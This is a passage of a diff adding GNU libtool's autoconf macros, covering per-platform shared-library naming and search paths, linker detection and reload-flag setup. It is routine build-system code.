+  finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
+  sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
+  # the default ld.so.conf also contains /usr/contrib/lib and
+  # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
+  # libtool to hard-code these into programs
+  ;;
+
+cygwin* | mingw* | pw32*)
+  version_type=windows
+  shrext_cmds=".dll"
+  need_version=no
+  need_lib_prefix=no
+
+  case $withGCC,$host_os in
+  yes,cygwin* | yes,mingw* | yes,pw32*)
+    library_names_spec='$libname.dll.a'
+    # DLL is installed to $(libdir)/../bin by postinstall_cmds
+    postinstall_cmds='base_file=`basename \${file}`~
+      dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
+      dldir=$destdir/`dirname \$dlpath`~
+      test -d \$dldir || mkdir -p \$dldir~
+      $install_prog $dir/$dlname \$dldir/$dlname~
+      chmod a+x \$dldir/$dlname~
+      if test -n '\''$stripme'\'' && test -n '\''$striplib'\''; then
+        eval '\''$striplib \$dldir/$dlname'\'' || exit \$?;
+      fi'
+    postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
+      dlpath=$dir/\$dldll~
+       $RM \$dlpath'
+    shlibpath_overrides_runpath=yes
+
+    case $host_os in
+    cygwin*)
+      # Cygwin DLLs use 'cyg' prefix rather than 'lib'
+      soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
+      sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
+      ;;
+    mingw*)
+      # MinGW DLLs use traditional 'lib' prefix
+      soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
+      sys_lib_search_path_spec=`$CC -print-search-dirs | $GREP "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
+      if $ECHO "$sys_lib_search_path_spec" | [$GREP ';[c-zC-Z]:/' >/dev/null]; then
+        # It is most probably a Windows format PATH printed by
+        # mingw gcc, but we are running on Cygwin. Gcc prints its search
+        # path with ; separators, and with drive letters. We can handle the
+        # drive letters (cygwin fileutils understands them), so leave them,
+        # especially as we might pass files found there to a mingw objdump,
+        # which wouldn't understand a cygwinified path. Ahh.
+        sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
+      else
+        sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED  -e "s/$PATH_SEPARATOR/ /g"`
+      fi
+      ;;
+    pw32*)
+      # pw32 DLLs use 'pw' prefix rather than 'lib'
+      library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
+      ;;
+    esac
+    ;;
+
+  *)
+    library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib'
+    ;;
+  esac
+  dynamic_linker='Win32 ld.exe'
+  # FIXME: first we should search . and the directory the executable is in
+  shlibpath_var=PATH
+  ;;
+
+darwin* | rhapsody*)
+  dynamic_linker="$host_os dyld"
+  version_type=darwin
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${major}$shared_ext ${libname}$shared_ext'
+  soname_spec='${libname}${release}${major}$shared_ext'
+  shlibpath_overrides_runpath=yes
+  shlibpath_var=DYLD_LIBRARY_PATH
+  shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
+  # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
+  if test "$withGCC" = yes; then
+    sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | $GREP "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
+  else
+    sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
+  fi
+  sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
+  ;;
+
+dgux*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  ;;
+
+freebsd1*)
+  dynamic_linker=no
+  ;;
+
+kfreebsd*-gnu)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  dynamic_linker='GNU ld.so'
+  ;;
+
+freebsd* | dragonfly*)
+  # DragonFly does not have aout.  When/if they implement a new
+  # versioning mechanism, adjust this.
+  if test -x /usr/bin/objformat; then
+    objformat=`/usr/bin/objformat`
+  else
+    case $host_os in
+    freebsd[[123]]*) objformat=aout ;;
+    *) objformat=elf ;;
+    esac
+  fi
+  version_type=freebsd-$objformat
+  case $version_type in
+    freebsd-elf*)
+      library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
+      need_version=no
+      need_lib_prefix=no
+      ;;
+    freebsd-*)
+      library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
+      need_version=yes
+      ;;
+  esac
+  shlibpath_var=LD_LIBRARY_PATH
+  case $host_os in
+  freebsd2*)
+    shlibpath_overrides_runpath=yes
+    ;;
+  freebsd3.[[01]]* | freebsdelf3.[[01]]*)
+    shlibpath_overrides_runpath=yes
+    hardcode_into_libs=yes
+    ;;
+  freebsd3.[[2-9]]* | freebsdelf3.[[2-9]]* | \
+  freebsd4.[[0-5]] | freebsdelf4.[[0-5]] | freebsd4.1.1 | freebsdelf4.1.1)
+    shlibpath_overrides_runpath=no
+    hardcode_into_libs=yes
+    ;;
+  freebsd*) # from 4.6 on
+    shlibpath_overrides_runpath=yes
+    hardcode_into_libs=yes
+    ;;
+  esac
+  ;;
+
+gnu*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  hardcode_into_libs=yes
+  ;;
+
+hpux9* | hpux10* | hpux11*)
+  # Give a soname corresponding to the major version so that dld.sl refuses to
+  # link against other versions.
+  version_type=sunos
+  need_lib_prefix=no
+  need_version=no
+  case $host_cpu in
+  ia64*)
+    shrext_cmds='.so'
+    hardcode_into_libs=yes
+    dynamic_linker="$host_os dld.so"
+    shlibpath_var=LD_LIBRARY_PATH
+    shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    if test "X$HPUX_IA64_MODE" = X32; then
+      sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
+    else
+      sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
+    fi
+    sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
+    ;;
+  hppa*64*)
+    shrext_cmds='.sl'
+    hardcode_into_libs=yes
+    dynamic_linker="$host_os dld.sl"
+    shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
+    shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
+    sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
+    ;;
+  *)
+    shrext_cmds='.sl'
+    dynamic_linker="$host_os dld.sl"
+    shlibpath_var=SHLIB_PATH
+    shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    ;;
+  esac
+  # HP-UX runs *really* slowly unless shared libraries are mode 555.
+  postinstall_cmds='chmod 555 $lib'
+  ;;
+
+interix3*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  ;;
+
+irix5* | irix6* | nonstopux*)
+  case $host_os in
+    nonstopux*) version_type=nonstopux ;;
+    *)
+	if test "$lt_cv_prog_gnu_ld" = yes; then
+		version_type=linux
+	else
+		version_type=irix
+	fi ;;
+  esac
+  need_lib_prefix=no
+  need_version=no
+  soname_spec='${libname}${release}${shared_ext}$major'
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
+  case $host_os in
+  irix5* | nonstopux*)
+    libsuff= shlibsuff=
+    ;;
+  *)
+    case $LD in # libtool.m4 will add one of these switches to LD
+    *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
+      libsuff= shlibsuff= libmagic=32-bit;;
+    *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
+      libsuff=32 shlibsuff=N32 libmagic=N32;;
+    *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
+      libsuff=64 shlibsuff=64 libmagic=64-bit;;
+    *) libsuff= shlibsuff= libmagic=never-match;;
+    esac
+    ;;
+  esac
+  shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
+  shlibpath_overrides_runpath=no
+  sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
+  sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
+  hardcode_into_libs=yes
+  ;;
+
+# No shared lib support for Linux oldld, aout, or coff.
+linux*oldld* | linux*aout* | linux*coff*)
+  dynamic_linker=no
+  ;;
+
+# This must be Linux ELF.
+linux*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  # This implies no fast_install, which is unacceptable.
+  # Some rework will be needed to allow for fast_install
+  # before this can be enabled.
+  hardcode_into_libs=yes
+
+  # Append ld.so.conf contents to the search path
+  if test -f /etc/ld.so.conf; then
+    lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \[$]2)); skip = 1; } { if (!skip) print \[$]0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
+    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+  fi
+
+  # We used to test for /lib/ld.so.1 and disable shared libraries on
+  # powerpc, because MkLinux only supported shared libraries with the
+  # GNU dynamic linker.  Since this was broken with cross compilers,
+  # most powerpc-linux boxes support dynamic linking these days and
+  # people can always --disable-shared, the test was removed, and we
+  # assume the GNU/Linux dynamic linker is in use.
+  dynamic_linker='GNU/Linux ld.so'
+  ;;
+
+knetbsd*-gnu)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  dynamic_linker='GNU ld.so'
+  ;;
+
+netbsd*)
+  version_type=sunos
+  need_lib_prefix=no
+  need_version=no
+  if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+    finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
+    dynamic_linker='NetBSD (a.out) ld.so'
+  else
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    dynamic_linker='NetBSD ld.elf_so'
+  fi
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  hardcode_into_libs=yes
+  ;;
+
+newsos6)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  ;;
+
+*nto* | *qnx*)
+  version_type=qnx
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  dynamic_linker='ldqnx.so'
+  ;;
+
+openbsd*)
+  version_type=sunos
+  sys_lib_dlsearch_path_spec="/usr/lib"
+  need_lib_prefix=no
+  # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
+  case $host_os in
+    openbsd3.3 | openbsd3.3.*)	need_version=yes ;;
+    *)				need_version=no  ;;
+  esac
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+  finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+    case $host_os in
+      openbsd2.[[89]] | openbsd2.[[89]].*)
+	shlibpath_overrides_runpath=no
+	;;
+      *)
+	shlibpath_overrides_runpath=yes
+	;;
+      esac
+  else
+    shlibpath_overrides_runpath=yes
+  fi
+  ;;
+
+os2*)
+  libname_spec='$name'
+  shrext_cmds=".dll"
+  need_lib_prefix=no
+  library_names_spec='$libname${shared_ext} $libname.a'
+  dynamic_linker='OS/2 ld.exe'
+  shlibpath_var=LIBPATH
+  ;;
+
+osf3* | osf4* | osf5*)
+  version_type=osf
+  need_lib_prefix=no
+  need_version=no
+  soname_spec='${libname}${release}${shared_ext}$major'
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  shlibpath_var=LD_LIBRARY_PATH
+  sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
+  sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
+  ;;
+
+rdos*)
+  dynamic_linker=no
+  ;;
+
+solaris*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  hardcode_into_libs=yes
+  # ldd complains unless libraries are executable
+  postinstall_cmds='chmod +x $lib'
+  ;;
+
+sunos4*)
+  version_type=sunos
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+  finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  if test "$with_gnu_ld" = yes; then
+    need_lib_prefix=no
+  fi
+  need_version=yes
+  ;;
+
+sysv4 | sysv4.3*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  case $host_vendor in
+    sni)
+      shlibpath_overrides_runpath=no
+      need_lib_prefix=no
+      runpath_var=LD_RUN_PATH
+      ;;
+    siemens)
+      need_lib_prefix=no
+      ;;
+    motorola)
+      need_lib_prefix=no
+      need_version=no
+      shlibpath_overrides_runpath=no
+      sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
+      ;;
+  esac
+  ;;
+
+sysv4*MP*)
+  if test -d /usr/nec ;then
+    version_type=linux
+    library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
+    soname_spec='$libname${shared_ext}.$major'
+    shlibpath_var=LD_LIBRARY_PATH
+  fi
+  ;;
+
+sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
+  version_type=freebsd-elf
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  hardcode_into_libs=yes
+  if test "$with_gnu_ld" = yes; then
+    sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
+  else
+    sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
+    case $host_os in
+      sco3.2v5*)
+        sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
+	;;
+    esac
+  fi
+  sys_lib_dlsearch_path_spec='/usr/lib'
+  ;;
+
+tpf*)
+  # TPF is a cross-target only.  Preferred cross-host = GNU/Linux.
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_name_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  ;;
+
+uts4*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  ;;
+
+*)
+  dynamic_linker=no
+  ;;
+esac
+AC_MSG_RESULT([$dynamic_linker])
+test "$dynamic_linker" = no && can_build_shared=no
+
+variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
+if test "$GCC" = yes; then
+  variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
+fi
+
+_LT_DECL([], [variables_saved_for_relink], [1],
+    [Variables whose values should be saved in libtool wrapper scripts and
+    restored at link time])
+_LT_DECL([], [need_lib_prefix], [0],
+    [Do we need the "lib" prefix for modules?])
+_LT_DECL([], [need_version], [0], [Do we need a version for libraries?])
+_LT_DECL([], [version_type], [0], [Library versioning type])
+_LT_DECL([], [runpath_var], [0],  [Shared library runtime path variable])
+_LT_DECL([], [shlibpath_var], [0],[Shared library path variable])
+_LT_DECL([], [shlibpath_overrides_runpath], [0],
+    [Is shlibpath searched before the hard-coded library search path?])
+_LT_DECL([], [libname_spec], [1], [Format of library name prefix])
+_LT_DECL([], [library_names_spec], [1],
+    [[List of archive names.  First name is the real one, the rest are links.
+    The last name is the one that the linker finds with -lNAME]])
+_LT_DECL([], [soname_spec], [1],
+    [[The coded name of the library, if different from the real name]])
+_LT_DECL([], [postinstall_cmds], [2],
+    [Command to use after installation of a shared archive])
+_LT_DECL([], [postuninstall_cmds], [2],
+    [Command to use after uninstallation of a shared archive])
+_LT_DECL([], [finish_cmds], [2],
+    [Commands used to finish a libtool library installation in a directory])
+_LT_DECL([], [finish_eval], [1],
+    [[As "finish_cmds", except a single script fragment to be evaled but
+    not shown]])
+_LT_DECL([], [hardcode_into_libs], [0],
+    [Whether we should hardcode library paths into libraries])
+_LT_DECL([], [sys_lib_search_path_spec], [2],
+    [Compile-time system search path for libraries])
+_LT_DECL([], [sys_lib_dlsearch_path_spec], [2],
+    [Run-time system search path for libraries])
+])# _LT_SYS_DYNAMIC_LINKER
+
+
+# _LT_PATH_TOOL_PREFIX(TOOL)
+# --------------------------
+# find a file program which can recognise shared library
+AC_DEFUN([_LT_PATH_TOOL_PREFIX],
+[m4_require([_LT_DECL_EGREP])dnl
+AC_MSG_CHECKING([for $1])
+AC_CACHE_VAL(lt_cv_path_MAGIC_CMD,
+[case $MAGIC_CMD in
+[[\\/*] |  ?:[\\/]*])
+  lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
+  ;;
+*)
+  lt_save_MAGIC_CMD="$MAGIC_CMD"
+  lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+dnl $ac_dummy forces splitting on constant user-supplied paths.
+dnl POSIX.2 word splitting is done only on the output of word expansions,
+dnl not every word.  This closes a longstanding sh security hole.
+  ac_dummy="m4_if([$2], , $PATH, [$2])"
+  for ac_dir in $ac_dummy; do
+    IFS="$lt_save_ifs"
+    test -z "$ac_dir" && ac_dir=.
+    if test -f $ac_dir/$1; then
+      lt_cv_path_MAGIC_CMD="$ac_dir/$1"
+      if test -n "$file_magic_test_file"; then
+	case $deplibs_check_method in
+	"file_magic "*)
+	  file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
+	  MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
+	  if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
+	    $EGREP "$file_magic_regex" > /dev/null; then
+	    :
+	  else
+	    cat <<_LT_EOF 1>&2
+
+*** Warning: the command libtool uses to detect shared libraries,
+*** $file_magic_cmd, produces output that libtool cannot recognize.
+*** The result is that libtool may fail to recognize shared libraries
+*** as such.  This will affect the creation of libtool libraries that
+*** depend on shared libraries, but programs linked with such libtool
+*** libraries will work regardless of this problem.  Nevertheless, you
+*** may want to report the problem to your system manager and/or to
+*** bug-libtool@gnu.org
+
+_LT_EOF
+	  fi ;;
+	esac
+      fi
+      break
+    fi
+  done
+  IFS="$lt_save_ifs"
+  MAGIC_CMD="$lt_save_MAGIC_CMD"
+  ;;
+esac])
+MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
+if test -n "$MAGIC_CMD"; then
+  AC_MSG_RESULT($MAGIC_CMD)
+else
+  AC_MSG_RESULT(no)
+fi
+_LT_DECL([], [MAGIC_CMD], [0],
+	 [Used to examine libraries when file_magic_cmd begins with "file"])dnl
+])# _LT_PATH_TOOL_PREFIX
+
+# Old name:
+AU_ALIAS([AC_PATH_TOOL_PREFIX], [_LT_PATH_TOOL_PREFIX])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_PATH_TOOL_PREFIX], [])
+
+
+# _LT_PATH_MAGIC
+# --------------
+# find a file program which can recognise a shared library
+m4_defun([_LT_PATH_MAGIC],
+[_LT_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PATH)
+if test -z "$lt_cv_path_MAGIC_CMD"; then
+  if test -n "$ac_tool_prefix"; then
+    _LT_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH)
+  else
+    MAGIC_CMD=:
+  fi
+fi
+])# _LT_PATH_MAGIC
+
+
+# LT_PATH_LD
+# ----------
+# find the pathname to the GNU or non-GNU linker
+AC_DEFUN([LT_PATH_LD],
+[AC_REQUIRE([AC_PROG_CC])dnl
+AC_REQUIRE([AC_CANONICAL_HOST])dnl
+AC_REQUIRE([AC_CANONICAL_BUILD])dnl
+m4_require([_LT_DECL_SED])dnl
+m4_require([_LT_DECL_EGREP])dnl
+
+AC_ARG_WITH([gnu-ld],
+    [AS_HELP_STRING([--with-gnu-ld],
+	[assume the C compiler uses GNU ld @<:@default=no@:>@])],
+    [test "$withval" = no || with_gnu_ld=yes],
+    [with_gnu_ld=no])dnl
+
+ac_prog=ld
+if test "$GCC" = yes; then
+  # Check if gcc -print-prog-name=ld gives a path.
+  AC_MSG_CHECKING([for ld used by $CC])
+  case $host in
+  *-*-mingw*)
+    # gcc leaves a trailing carriage return which upsets mingw
+    ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
+  *)
+    ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
+  esac
+  case $ac_prog in
+    # Accept absolute paths.
+    [[\\/]]* | ?:[[\\/]]*)
+      re_direlt='/[[^/]][[^/]]*/\.\./'
+      # Canonicalize the pathname of ld
+      ac_prog=`$ECHO "$ac_prog"| $SED 's%\\\\%/%g'`
+      while $ECHO "$ac_prog" | $GREP "$re_direlt" > /dev/null 2>&1; do
+	ac_prog=`$ECHO $ac_prog| $SED "s%$re_direlt%/%"`
+      done
+      test -z "$LD" && LD="$ac_prog"
+      ;;
+  "")
+    # If it fails, then pretend we aren't using GCC.
+    ac_prog=ld
+    ;;
+  *)
+    # If it is relative, then search for the first ld in PATH.
+    with_gnu_ld=unknown
+    ;;
+  esac
+elif test "$with_gnu_ld" = yes; then
+  AC_MSG_CHECKING([for GNU ld])
+else
+  AC_MSG_CHECKING([for non-GNU ld])
+fi
+AC_CACHE_VAL(lt_cv_path_LD,
+[if test -z "$LD"; then
+  lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+  for ac_dir in $PATH; do
+    IFS="$lt_save_ifs"
+    test -z "$ac_dir" && ac_dir=.
+    if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
+      lt_cv_path_LD="$ac_dir/$ac_prog"
+      # Check to see if the program is GNU ld.  I'd rather use --version,
+      # but apparently some variants of GNU ld only accept -v.
+      # Break only if it was the GNU/non-GNU ld that we prefer.
+      case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
+      *GNU* | *'with BFD'*)
+	test "$with_gnu_ld" != no && break
+	;;
+      *)
+	test "$with_gnu_ld" != yes && break
+	;;
+      esac
+    fi
+  done
+  IFS="$lt_save_ifs"
+else
+  lt_cv_path_LD="$LD" # Let the user override the test with a path.
+fi])
+LD="$lt_cv_path_LD"
+if test -n "$LD"; then
+  AC_MSG_RESULT($LD)
+else
+  AC_MSG_RESULT(no)
+fi
+test -z "$LD" && AC_MSG_ERROR([no acceptable ld found in \$PATH])
+_LT_PATH_LD_GNU
+AC_SUBST([LD])
+
+_LT_TAGDECL([], [LD], [1], [The linker used to build libraries])
+])# LT_PATH_LD
+
+# Old names:
+AU_ALIAS([AM_PROG_LD], [LT_PATH_LD])
+AU_ALIAS([AC_PROG_LD], [LT_PATH_LD])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AM_PROG_LD], [])
+dnl AC_DEFUN([AC_PROG_LD], [])
+
+
+# _LT_PATH_LD_GNU
+#- --------------
+m4_defun([_LT_PATH_LD_GNU],
+[AC_CACHE_CHECK([if the linker ($LD) is GNU ld], lt_cv_prog_gnu_ld,
+[# I'd rather use --version here, but apparently some GNU lds only accept -v.
+case `$LD -v 2>&1 </dev/null` in
+*GNU* | *'with BFD'*)
+  lt_cv_prog_gnu_ld=yes
+  ;;
+*)
+  lt_cv_prog_gnu_ld=no
+  ;;
+esac])
+with_gnu_ld=$lt_cv_prog_gnu_ld
+])# _LT_PATH_LD_GNU
+
+
+# _LT_CMD_RELOAD
+# --------------
+# find reload flag for linker
+#   -- PORTME Some linkers may need a different reload flag.
+m4_defun([_LT_CMD_RELOAD],
+[AC_CACHE_CHECK([for $LD option to reload object files],
+  lt_cv_ld_reload_flag,
+  [lt_cv_ld_reload_flag='-r'])
+reload_flag=$lt_cv_ld_reload_flag
+case $reload_flag in
+"" | " "*) ;;
+*) reload_flag=" $reload_flag" ;;
+esac
+reload_cmds='$LD$reload_flag -o $output$reload_objs'
+case $host_os in
+  darwin*)
+    if test "$GCC" = yes; then
+      reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+    else
+      reload_cmds='$LD$reload_flag -o $output$reload_objs'
+    fi
+    ;;
+esac
+_LT_DECL([], [reload_flag], [1], [How to create reloadable object files])dnl
+_LT_DECL([], [reload_cmds], [2])dnl
+])# _LT_CMD_RELOAD
+
+
+# _LT_CHECK_MAGIC_METHOD
+# ----------------------
+# how to check for library dependencies
+#  -- PORTME fill in with the dynamic library characteristics
+m4_defun([_LT_CHECK_MAGIC_METHOD],
+[m4_require([_LT_DECL_EGREP])
+AC_CACHE_CHECK([how to recognise dependent libraries],
+lt_cv_deplibs_check_method,
+[lt_cv_file_magic_cmd='$MAGIC_CMD'
+lt_cv_file_magic_test_file=
+lt_cv_deplibs_check_method='unknown'
+# Need to set the preceding variable on all platforms that support
+# interlibrary dependencies.
+# 'none' -- dependencies not supported.
+# `unknown' -- same as none, but documents that we really don't know.
+# 'pass_all' -- all dependencies passed with no checks.
+# 'test_compile' -- check by making test program.
